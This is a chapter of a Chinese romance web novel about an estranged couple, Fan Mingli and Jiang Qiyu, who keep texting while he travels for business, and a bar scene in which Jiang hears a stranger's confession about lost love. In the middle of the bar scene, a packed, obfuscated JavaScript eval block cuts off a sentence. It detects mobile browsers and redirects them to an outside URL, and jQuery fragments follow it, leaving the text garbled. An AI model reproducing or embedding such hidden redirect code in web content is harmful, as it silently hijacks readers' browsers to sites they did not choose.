范铭礼抵达北京的时候，并没有下雪。


    他照常完成他的工作——或者把这些事情叫做工作吧。与他人会面，言语间带点隐晦的交锋。宴会厅里暖洋洋的，熏得人有些头昏脑胀。结束一日的行程，他来到后海，站定了，看着月亮下的湖面。本地朋友叫他去吃个便饭，范铭礼笑笑，回绝了，只是沉默看着湖水，月光在其中，柔和地铺下它的倒影。


    他身边本应该有一个人的。


    朋友说：“你脸色很差。姓陈的老狐狸这么难缠？”


    范铭礼不置可否。


    朋友说：“心情不好，多看看北京的景色吧。这里开阔，再难过的心情都会被拓宽的。”


    这朋友语文不太好。范铭礼听了，微微弯一弯唇角，礼貌地笑了笑：“我会认真看的。”


    他回到家。


    屋子里一样是冷冷清清。那些厨具、床单、被罩……都只使用过几天。灯光无端多了些惨白的意味，照得人的影子孤零零的。


    他依旧给姜绮玉发信息。


    姜绮玉回不回，并不要紧。他只是想将自己每天的经历分享给她。他不善言辞，在表达自己想法的一方面，颇有些笨拙。何况说出口的话是一回事，而敲打在手机屏幕的话语，又是另一回事。他努力将自己的一部分通过手机而传达出去——他没有打电话，因为怕被拒绝。


    这个胆小的想法就这么出现了。


    为了这一场出差所能够达到的目的，范铭礼费了很大的功夫。保证了每日所需的最低限度睡眠，接下来是与合作伙伴的讨论、周旋……即使是他也难以推掉的酒局，因为这里不再是他的根据地，而是北京。这是一个庞大的，对他而言相对陌生的城市，为了不出错，他难免有些小心翼翼。


    在这样的交锋钟，范铭礼其实是有几分隐秘的畅快的。


    虽然是合作，但他仍然想要掌握主动权。


    只是在一场场应接不暇的幕布间隙中，他回到家抽离出来，有些漠然地审视这一切。


    在某一瞬间，他想要回去。


    却又不敢踏出那一步。


    见到她，她会是什么表情？她会说什么话？自己应该怎么样应答，又该如何挽留——即使范铭礼做了最坏的打算：他再也挽留不了了。


    心脏像是刺入了一根针。


    计算了这么多，最后或许什么也不会得到。


    他去看了巍峨的古城墙。


    他沉默地踏足了他们先前来过的所有地方。


    将近三十年，他一直一个人，也习惯了。却没想到原来一个人漫步在街道上的时间会被拉得这么长。


    路上跑来一只金毛，看见他，猛地往他的脚边一扑。主人赶紧跑过来，手牵着遛狗绳，不住地给范铭礼道歉。


    “没关系。”范铭礼说。他低头看了看傻得可爱的金毛，礼貌地问：“我可以摸摸它么？”


    主人点点头：“当然可以！”


    随后她笑了笑：“听您的口音，您不是本地人吧？应该是南方人。”


    范铭礼点点头。他蹲下来，轻轻抚摸小狗金色的绒毛。狗狗被照顾得很好，毛色金黄，柔软发亮。温热的触感从指尖传达上来。


    “多谢。”他站起身，“我还有事，先走了。祝你们玩得开心。”


    “哪里需要谢谢。”金毛主人很豪爽，“你要去哪里？或许我还可以帮个忙。”


    范铭礼笑笑：“不知道。或许回家吧。”


    他慢慢地走远，来到自己的车旁，一拉开车门，坐了进去。司机同样沉默着发动车子。车载音乐是首舒缓的钢琴曲。或许是因为这音乐，又或许是连日的工作让他疲乏。范铭礼忽然感到一阵很强烈的困意。


    他快要睡过去，却又点开同姜绮玉的聊天框。


    他说：「在街上遇见了一只金毛。很可爱。只是没来得及拍照片。」


    困意太猛烈，他还未检查有无错字，手指一抖，便“唰”地发送了出去。他条件反射，想要长按撤回，可在准备按下撤回键的刹那——


    他看见了一条新的未读信息。


    想也不用想这条消息来自谁。


    「金毛确实很可爱。」


    她说。


    而范铭礼能够想象出她的声音。


    ……


    姜绮玉一直没想好，到底要不要回复范铭礼的消息。


    只是在回过神的瞬间，回复已经发出去了。


    ……算了，就这样吧。


    姜绮玉想，范铭礼到底是聪明还是不聪明呢？他能做出让她伤心的事情，却也在挽留时显得颇为青涩。她毫不怀疑，如果她一直不回复，他也能一直执拗发下去。范铭礼在某种程度上就是这样固执。


    要说她不爱他了吗？那不可能。


    同他度过的，差不多一年的这段时间里，姜绮玉扪心自问，这是人生中最快乐的日子之一。


    而他爱她吗？


    这个问题或许不用回答了。


    那爱里带了一些掌控，也带了一些傲慢。


    跨了大半个国度，范铭礼的消息很快传来：「还没睡？」


    姜绮玉：「嗯。」


    对方的输入框闪闪烁烁，像是敲了很多字，却在犹豫中又一个个删除。


    范铭礼：「早点休息。我记得你明天还有养老院的工作。」


    他还记得她的排班表。


    姜绮玉觉得，自己算不上坦然——如果坦然，她早该同范铭礼进行你来我往的线上聊天了。她也早该打开那份离婚协议了，而她什么都没做，只是把它放进了柜子里。她一点也没有打开也没有打开的任何冲动。让一个人轻易地放下感情，那是多么荒谬啊。她盯着聊天框，像是要把屏幕盯穿。


    一瞬间心烦意乱。


    她回了个表情包，便匆匆关闭了手机。


    只是仰躺在床上，却全然睡不着。


    于半夜，她只好从被子里起来，拉开窗帘，看着黑沉沉的夜空。


    或许不是黑沉沉的，因为有月亮。比起圆得标准的月亮，姜绮玉更喜欢弯弯的弦月。此时她看着天上的弦月，遥遥望着，不知过了多久，她叹了口气，随后转身离去。


    只不过，转身的时候，她忽然想到了一个问题：


    范铭礼应该看见的是和她一样的月亮吧。


    ——他会想什么呢？


    ……


    接下来的日子里，范铭礼依旧会给她发消息。


    只是他发得多，姜绮玉回得少。颇有些爱搭不理的感觉，不过范铭礼好像并不介意。


    不如说，在他看来，她还愿意和他说话，或许这事情还能有转圜的余地。


    姜绮玉看着范铭礼的行动轨迹：他会时不时给她发照片，都是风景照。偶尔阳光明媚，地上便会投射他长长的、高挑的影子。他终于结束了北京的行程，乘飞机飞往英国。姜绮玉下意识认为他是要用全部时间去谈国际贸易的，但范铭礼却说，这是半公事半私人的行程。


    还没等姜绮玉问他，“私人的行程”指什么，范铭礼就将自己要去的地方发了过来。姜绮玉一看，笑了笑。原来是在公事之外，还计划在伦敦周边游了一圈。


    她收起手机，继续酒吧的工作。


    而在某个晚上，她遇见了一位“陌生”的女人。


    ——或者并不能算得上陌生。


    因为姜绮玉曾在小饭馆内，透着玻璃窗子，看见这名女子的侧脸。


    女人走到吧台，随意挑了个位置，正好在姜绮玉的服务范围。她问对方，想要来点什么吗？女人疲惫地笑了笑，说，普通啤酒就好，谢谢了。


    姜绮玉一边转身去拿啤酒，一边不动声色地想，看来她并不认识自己。


    女人拿了盛满酒液的啤酒杯，一口便饮尽了。她曲起手腕，擦了擦嘴——这举动不能算文雅，却在酒吧这个环境中，结合她的面庞，透出一股文艺而颓废的感觉来。


    “你好啊。”女人朝姜绮玉微笑，“晚上好。”


    姜绮玉礼貌道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185737|160376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：“晚上好。”


    女人的目光落在酒杯里，微微叹了口气：“我失恋啦。”


    这样的一句话，就被她以平静的语调说出来。


    姜绮玉怔了怔，不知道该怎么安慰。作为一个同样沉浸在感情漩涡中的人，似乎她怎么说，都显得有些苍白无力。


    但女人却没有顾上她的神情，自顾自地说：“好吧，其实只是我在暗恋而已。人家根本就不在意我嘛。”


    “会有更好的人等你的。”姜绮玉安慰道。


    “有没有更好的人，我是不知道了……只是我想，或许有些决定是个错误。”女人又喝了一口酒，“有个人和我达成了协议：我们一起去看看那个人的内心吧——看看我们心心念念的人到底在想什么。那个人在想，他的女友究竟有多爱他呢？她为什么不会吃醋呢？而我在想，我喜欢的人，究竟喜不喜欢我呢……”


    如果换了一个人，对着姜绮玉说这些醉醺醺的，亳无厘头的话，姜绮玉未必会听明白她在说什么。


    可是姜绮玉单方面地见过这女人。


    她知道她说的是什么，谈论的是什么——即使话题支离破碎。


    女人一拍手掌：“他怎么样，我不知道。但最后我是失败啦！一败涂地，反而吵了一架，最后连朋友都做不成。后来我在想，这是不是错误的……这当然是错误的……”


    姜绮玉不发一言，安静地听着。


    女人笑着望她：“我说话前言不搭后语，你可别见怪呀。”


    姜绮玉很认真地摇摇头。


    “我思考了很久……但最后什么结论也没得出来。”女人说，“我只是在想，我们对于有些东西，或许过于执着了……我们从来不问，从来不问对方到底在想什么。我好像总是希望别人来读懂我，即使我什么也没说……也要从我的行为来读我。你是我选择的伴侣呀，世界上和我最合拍的人。你怎么可能读不懂我呢？但事实就是这样残酷地发生了。真傻，现实怎么会有读心术呢。”


    “意识到这一点的时候，已经太迟了……一切都无法挽回。就这样离开了我……好吧，我知道，只是我没有办法去弥补了。”


    酒吧里的灯光打在女人的脸上，将她的剪影衬托得如此清冷和寂寥。


    “可以弥补的。”姜绮玉说，“只要诚实地把自己摊开给那人看，彼此都坦诚地面对对方。这是可以弥补的。”


    “是呀，可以弥补的。”女人很哀伤地弯了弯眼眸，“可是我说过啦，已经太迟了。彼此坦诚布公，这是双向的交流。可惜那个人再也不会同我交流了。”


    女人说完，忽然甩了甩头发，仿佛一瞬间回神一般，表情带着歉意：“对不住，我是不是讲得太多……听这种抱怨，或许会觉得厌烦吧。”


    “不。”姜绮玉没注意到自己的声音放柔了，“永远都不会。”


    女人微笑了：“你有喜欢的人吗？”


    姜绮玉说：“……有。”


    “真好。”女人继续说，“向他人说出自己的弱点与渴望，或许隐含着需要包容的含义。无论是什么样的关系，交流或许都是一件难事——”


    这个时候，她包里的手机忽然响了起来。


    女人一边道歉，一边去拿手机。姜绮玉看见她打开屏幕看了一会，随后眉头就紧皱起来。


    “我有事，先走啦。”女人愁眉苦脸，“你知道我怎么想我的Boss吗？我恨不得把他大卸八块……”


    姜绮玉笑了笑：“慢走，祝您工作顺利。希望您在这里享受了一段还算美妙的时间。”


    女人收拾东西，作势要走，却忽然冷不丁地问了姜绮玉一个问题：


    “我是个好人吗？”


    姜绮玉有些不明白，但依然遵从本心做出了回答：“是的，您是很善良很细腻的人。”


    女子一愣，随后突然很落寞很落寞地笑了笑。


    “啊，其实我是好人啊。”


    她拎着包，走向酒吧的门口，很快就消失在了门外。